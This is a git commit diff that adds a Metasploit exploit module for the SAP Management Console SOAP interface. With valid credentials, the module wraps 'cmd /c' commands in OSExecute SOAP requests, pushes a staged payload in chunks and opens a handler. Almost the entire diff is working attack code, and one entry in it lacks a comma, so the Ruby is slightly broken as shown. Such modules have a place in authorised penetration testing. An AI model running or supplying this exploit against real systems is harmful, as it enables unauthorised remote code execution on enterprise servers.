Add #5742

git-svn-id: file:///home/svn/framework3/trunk@14047 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/http/sap_mgmt_con_osexec_payload.rb

@@ -0,0 +1,154 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] }
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::CmdStagerVBS
+	include Msf::Exploit::EXE
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'SAP Management Console OSExecute Payload Execution',
+			'Version'        => '$Revision$',
+			'License'        => MSF_LICENSE
+			'Author'         => [ 'Chris John Riley' ],
+			'Description'    => %q{
+					This module executes an arbitrary payload through the SAP Management Console
+				SOAP Interface.  A valid username and password must be provided.
+			},
+			'References'     =>
+				[
+					# General
+					[ 'URL', 'http://blog.c22.cc' ]
+				],
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+				},
+			'Payload'        =>
+				{
+				'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4",
+				},
+			'Platforms'      => [ 'win' ],
+			'Targets'        =>
+				[
+					[
+						'Windows Universal',
+						{
+							'Arch' => ARCH_X86,
+							'Platform' => 'win'
+						},
+					],
+				],
+			'DefaultTarget'  => 0,
+			'DisclosureDate' => 'Mar 08 2011'
+		))
+
+		register_options(
+			[
+				Opt::RPORT(50013),
+				OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
+				OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
+				OptString.new('USERNAME', [true, 'Username to use', '']),
+				OptString.new('PASSWORD', [true, 'Password to use', '']),
+			], self.class)
+		register_advanced_options(
+			[
+				OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '7500']),
+			], self.class)
+		register_autofilter_ports([ 50013 ])
+	end
+
+	def autofilter
+		false
+	end
+
+	def exploit
+		print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
+		linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues
+		print_status("Using custom payload size of #{linemax}") if linemax != 7500
+		execute_cmdstager({ :delay => 0.35, :linemax => linemax })
+		handler
+	end
+
+	# This is method required for the CmdStager to work...
+	def execute_command(cmd, opts)
+
+		soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
+		xsi = 'http://www.w3.org/2001/XMLSchema-instance'
+		xs = 'http://www.w3.org/2001/XMLSchema'
+		sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
+		ns1 = 'ns1:OSExecute'
+
+		cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line
+		if cmd_s.length > 1
+			print_status("Command Stager progress -  Split final payload for delivery (#{cmd_s.length} sections)")
+		end
+
+		cmd_s = cmd_s.collect(&:strip)
+		cmd_s.each do |payload|
+
+			data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
+			data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
+			data << '<SOAP-ENV:Header>' + "\r\n"
+			data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
+			data << '<enableSession>true</enableSession>' + "\r\n"
+			data << '</sapsess:Session>' + "\r\n"
+			data << '</SOAP-ENV:Header>' + "\r\n"
+			data << '<SOAP-ENV:Body>' + "\r\n"
+			data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>cmd /c ' + payload.strip
+			data << '</command><async>0</async></' + ns1 + '>' + "\r\n"
+			data << '</SOAP-ENV:Body>' + "\r\n"
+			data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
+
+			user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
+
+			begin
+				res = send_request_raw({
+					'uri'     => "/#{datastore['URI']}",
+					'method'  => 'POST',
+					'data'    => data,
+					'headers' =>
+						{
+							'Content-Length'  => data.length,
+							'SOAPAction'      => '""',
+							'Authorization'   => 'Basic ' + user_pass,
+							'Content-Type'    => 'text/xml; charset=UTF-8',
+						}
+				}, 60)
+
+			if (res.code != 500 and res.code != 200)
+				print_error("[SAP] An unknown response was received from the server")
+				abort("Invlaid server response")
+			elsif res.code == 500
+				body = res.body
+				if body.match(/Invalid Credentials/i)
+					print_error("[SAP] The Supplied credentials are incorrect")
+					abort("Exploit not complete, check credentials")
+				elsif body.match(/Permission denied/i)
+					print_error("[SAP] The Supplied credentials are valid, but lack OSExecute permissions")
+					raise RuntimeError.new("Exploit not complete, check credentials")
+				end
+			end
+
+			rescue ::Rex::ConnectionError
+				print_error("[SAP] Unable to attempt authentication")
+				break
+			end
+		end
+	end
+end